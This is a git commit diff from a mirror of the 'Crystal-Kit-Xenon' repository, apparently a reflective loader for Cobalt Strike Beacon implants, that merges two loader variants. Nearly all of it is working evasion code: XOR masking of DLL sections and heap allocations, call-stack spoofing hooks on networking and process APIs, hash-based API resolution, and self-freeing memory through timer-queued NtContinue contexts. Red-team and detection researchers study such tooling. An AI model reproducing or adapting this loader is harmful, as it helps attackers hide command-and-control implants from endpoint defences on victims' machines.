mirror of
https://github.com/nickswink/Crystal-Kit-Xenon
synced 2026-06-21 14:02:19 +00:00
Merge loader and local-loader into same code base
This commit is contained in:
@@ -1,9 +1,7 @@
|
||||
all:
|
||||
cd loader && make $@
|
||||
cd local-loader && make $@
|
||||
cd postex-loader && make $@
|
||||
|
||||
clean:
|
||||
cd loader && make $@
|
||||
cd local-loader && make $@
|
||||
cd postex-loader && make $@
|
||||
|
||||
+7
-5
@@ -9,7 +9,7 @@ sub print_info {
|
||||
|
||||
set BEACON_RDLL_GENERATE
|
||||
{
|
||||
local ( '$beacon $arch $spec_path $spec $final' );
|
||||
local ( '$beacon $arch $spec_path $spec $cap $final' );
|
||||
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
@@ -24,7 +24,8 @@ set BEACON_RDLL_GENERATE
|
||||
|
||||
$spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $spec_path ];
|
||||
$final = [ $spec run: $beacon, [ new HashMap ] ];
|
||||
$cap = [ Capability Parse: cast ( $beacon, 'b' ) ];
|
||||
$final = [ $spec run: $cap, [ new HashMap ] ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
@@ -41,7 +42,7 @@ set BEACON_RDLL_SIZE {
|
||||
|
||||
set BEACON_RDLL_GENERATE_LOCAL
|
||||
{
|
||||
local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' );
|
||||
local ( '$beacon $arch $gmh $gpa $spec_path $spec $cap $hash_map $final' );
|
||||
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
@@ -56,15 +57,16 @@ set BEACON_RDLL_GENERATE_LOCAL
|
||||
|
||||
print_info ( "BEACON_RDLL_GENERATE_LOCAL" );
|
||||
|
||||
$spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" );
|
||||
$spec_path = getFileProper ( script_resource ( "loader" ), "local-loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $spec_path ];
|
||||
$cap = [ Capability Parse: cast ( $beacon, 'b' ) ];
|
||||
|
||||
$hash_map = [ new HashMap ];
|
||||
|
||||
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
|
||||
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
|
||||
|
||||
$final = [ $spec run: $beacon, $hash_map ];
|
||||
$final = [ $spec run: $cap, $hash_map ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
|
||||
+8
-3
@@ -1,9 +1,13 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge pic services
|
||||
run "services.spec"
|
||||
# merge services
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
@@ -25,6 +29,7 @@ x64:
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge pic services
|
||||
run "services.spec"
|
||||
# merge services
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
dfr "patch_resolve" "strings"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
# patch smart pointers in
|
||||
patch "get_module_handle" $GMH
|
||||
patch "get_proc_address" $GPA
|
||||
|
||||
@@ -25,10 +30,10 @@ x64:
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
+4
-1
@@ -38,6 +38,8 @@ x64:
|
||||
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "WS2_32$WSAStartup" "_WSAStartup"
|
||||
addhook "WS2_32$WSASocketA" "_WSASocketA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
@@ -45,8 +47,9 @@ x64:
|
||||
addhook "KERNEL32$CreateThread" "_CreateThread"
|
||||
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
addhook "KERNEL32$GetProcAddress" "_GetProcAddress"
|
||||
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
||||
addhook "KERNEL32$HeapAlloc" "_HeapAlloc"
|
||||
addhook "KERNEL32$HeapFree" "_HeapFree"
|
||||
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
||||
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
x64:
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
dfr "resolve" "ror13" "KERNEL32, NTDLL"
|
||||
dfr "resolve_ext" "strings"
|
||||
@@ -1,5 +1,4 @@
|
||||
#include <windows.h>
|
||||
#include "cfg.h"
|
||||
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
+18
-8
@@ -5,11 +5,11 @@
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
@@ -53,10 +53,12 @@ void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
|
||||
#define CTX_COUNT 3
|
||||
|
||||
for ( int i = 0; i < 2; i++ ) {
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT );
|
||||
|
||||
for ( int i = 0; i < CTX_COUNT; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
@@ -72,16 +74,24 @@ void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* this pico */
|
||||
/* pico code */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* pico data */
|
||||
ctx_free[ 2 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data );
|
||||
ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
+38
-4
@@ -1,13 +1,14 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
DECLSPEC_IMPORT SOCKET WINAPI WS2_32$WSASocketA ( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD );
|
||||
DECLSPEC_IMPORT int WINAPI WS2_32$WSAStartup ( WORD, LPWSADATA );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
@@ -21,7 +22,7 @@ DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWOR
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
@@ -40,6 +41,7 @@ BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dw
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hRequest );
|
||||
call.args [ 1 ] = spoof_arg ( lpszHeaders );
|
||||
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
|
||||
@@ -55,6 +57,7 @@ HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR l
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpszAgent );
|
||||
call.args [ 1 ] = spoof_arg ( dwAccessType );
|
||||
call.args [ 2 ] = spoof_arg ( lpszProxy );
|
||||
@@ -70,6 +73,7 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName,
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
|
||||
call.argc = 8;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hInternet );
|
||||
call.args [ 1 ] = spoof_arg ( lpszServerName );
|
||||
call.args [ 2 ] = spoof_arg ( nServerPort );
|
||||
@@ -82,6 +86,36 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName,
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
int WINAPI _WSAStartup ( WORD wVersionRequested, LPWSADATA lpWSAData )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$WSAStartup );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( wVersionRequested );
|
||||
call.args [ 1 ] = spoof_arg ( lpWSAData );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SOCKET WINAPI _WSASocketA ( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$WSASocketA );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( af );
|
||||
call.args [ 1 ] = spoof_arg ( type );
|
||||
call.args [ 2 ] = spoof_arg ( protocol );
|
||||
call.args [ 3 ] = spoof_arg ( lpProtocolInfo );
|
||||
call.args [ 4 ] = spoof_arg ( g );
|
||||
call.args [ 5 ] = spoof_arg ( dwFlags );
|
||||
|
||||
return ( SOCKET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
@@ -111,7 +145,7 @@ HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMa
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
|
||||
BOOL WINAPI _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
|
||||
+16
-22
@@ -1,7 +1,7 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
@@ -17,7 +17,7 @@ int __tag_setup_memory ( );
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
@@ -59,14 +59,16 @@ void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REG
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
region->Sections[ i ].BaseAddress = section_dst;
|
||||
region->Sections[ i ].Size = section_size;
|
||||
region->Sections[ i ].CurrentProtect = new_protect;
|
||||
region->Sections[ i ].PreviousProtect = new_protect;
|
||||
dll_memory->Sections[ i ].BaseAddress = section_dst;
|
||||
dll_memory->Sections[ i ].Size = section_size;
|
||||
dll_memory->Sections[ i ].CurrentProtect = new_protect;
|
||||
dll_memory->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
|
||||
dll_memory->Count = section_count;
|
||||
}
|
||||
|
||||
void go ( )
|
||||
@@ -80,32 +82,24 @@ void go ( )
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
|
||||
PicoLoad ( &funcs, pico_src, pico_code, pico_data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
|
||||
memory.Pico.Size = sizeof ( PICO );
|
||||
|
||||
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
|
||||
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
|
||||
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
|
||||
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
|
||||
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Data = pico_data;
|
||||
memory.Pico.Code = pico_code;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
@@ -133,7 +127,7 @@ void go ( )
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
@@ -1,10 +1,5 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value [ ];
|
||||
|
||||
+18
-8
@@ -7,8 +7,7 @@ char xorkey [ 128 ] = { 1 };
|
||||
|
||||
void apply_mask ( char * data, DWORD len )
|
||||
{
|
||||
for ( DWORD i = 0; i < len; i++ )
|
||||
{
|
||||
for ( DWORD i = 0; i < len; i++ ) {
|
||||
data [ i ] ^= xorkey [ i % 128 ];
|
||||
}
|
||||
}
|
||||
@@ -39,8 +38,7 @@ void xor_section ( MEMORY_SECTION * section, BOOL mask )
|
||||
}
|
||||
}
|
||||
|
||||
if ( is_writeable ( section->CurrentProtect ) )
|
||||
{
|
||||
if ( is_writeable ( section->CurrentProtect ) ) {
|
||||
apply_mask ( section->BaseAddress, section->Size );
|
||||
}
|
||||
|
||||
@@ -56,15 +54,27 @@ void xor_section ( MEMORY_SECTION * section, BOOL mask )
|
||||
}
|
||||
}
|
||||
|
||||
void xor_region ( MEMORY_REGION * region, BOOL mask )
|
||||
{
|
||||
for ( int i = 0; i < 20; i++ )
|
||||
void xor_dll ( DLL_MEMORY * region, BOOL mask )
|
||||
{
|
||||
for ( size_t i = 0; i < region->Count; i++ ) {
|
||||
xor_section ( ®ion->Sections [ i ], mask );
|
||||
}
|
||||
}
|
||||
|
||||
void xor_heap ( HEAP_MEMORY * heap )
|
||||
{
|
||||
for ( size_t i = 0; i < heap->Count; i++ )
|
||||
{
|
||||
HEAP_RECORD * record = &heap->Records [ i ];
|
||||
|
||||
/* these are already RW */
|
||||
apply_mask ( record->Address, record->Size );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
|
||||
{
|
||||
xor_region ( &memory->Dll, mask );
|
||||
xor_dll ( &memory->Dll, mask );
|
||||
xor_heap ( &memory->Heap );
|
||||
}
|
||||
+24
-4
@@ -1,3 +1,21 @@
|
||||
#define MAX_HEAP_RECORDS 32
|
||||
#define MAX_SECTIONS 16
|
||||
|
||||
typedef struct {
|
||||
PVOID Data;
|
||||
PVOID Code;
|
||||
} PICO_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID Address;
|
||||
SIZE_T Size;
|
||||
} HEAP_RECORD;
|
||||
|
||||
typedef struct {
|
||||
HEAP_RECORD Records [ MAX_HEAP_RECORDS ];
|
||||
SIZE_T Count;
|
||||
} HEAP_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
@@ -8,10 +26,12 @@ typedef struct {
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ 20 ];
|
||||
} MEMORY_REGION;
|
||||
MEMORY_SECTION Sections [ MAX_SECTIONS ];
|
||||
SIZE_T Count;
|
||||
} DLL_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION Pico;
|
||||
MEMORY_REGION Dll;
|
||||
PICO_MEMORY Pico;
|
||||
DLL_MEMORY Dll;
|
||||
HEAP_MEMORY Heap;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -9,6 +9,8 @@ MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
@@ -91,3 +93,62 @@ VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes )
|
||||
{
|
||||
LPVOID result = NULL;
|
||||
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$HeapAlloc );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( hHeap );
|
||||
call.args [ 1 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 2 ] = spoof_arg ( dwBytes );
|
||||
|
||||
result = ( LPVOID ) spoof_call ( &call );
|
||||
|
||||
/* store a record of this heap allocation */
|
||||
|
||||
if ( dwBytes >= 256 && result != NULL && g_memory.Heap.Count < MAX_HEAP_RECORDS )
|
||||
{
|
||||
g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result;
|
||||
g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes;
|
||||
g_memory.Heap.Count++;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$HeapFree );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( hHeap );
|
||||
call.args [ 1 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 2 ] = spoof_arg ( lpMem );
|
||||
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
|
||||
if ( result )
|
||||
{
|
||||
/* remove the right heap record */
|
||||
|
||||
for ( int i = 0; i < g_memory.Heap.Count; i++ )
|
||||
{
|
||||
if ( g_memory.Heap.Records [ i ].Address == lpMem )
|
||||
{
|
||||
int last = g_memory.Heap.Count - 1;
|
||||
g_memory.Heap.Records [ i ] = g_memory.Heap.Records [ last ];
|
||||
g_memory.Heap.Records [ last ].Address = NULL;
|
||||
g_memory.Heap.Records [ last ].Size = 0;
|
||||
g_memory.Heap.Count--;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
+8
-11
@@ -1,7 +1,9 @@
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
/* for the local loader */
|
||||
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
@@ -14,16 +16,11 @@ FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
|
||||
}
|
||||
|
||||
/**
|
||||
* This function is used to load and/or locate functions
|
||||
* in modules that are not loaded by default.
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve_ext ( char * mod_name, char * func_name )
|
||||
FARPROC patch_resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = KERNEL32$GetModuleHandleA ( mod_name );
|
||||
|
||||
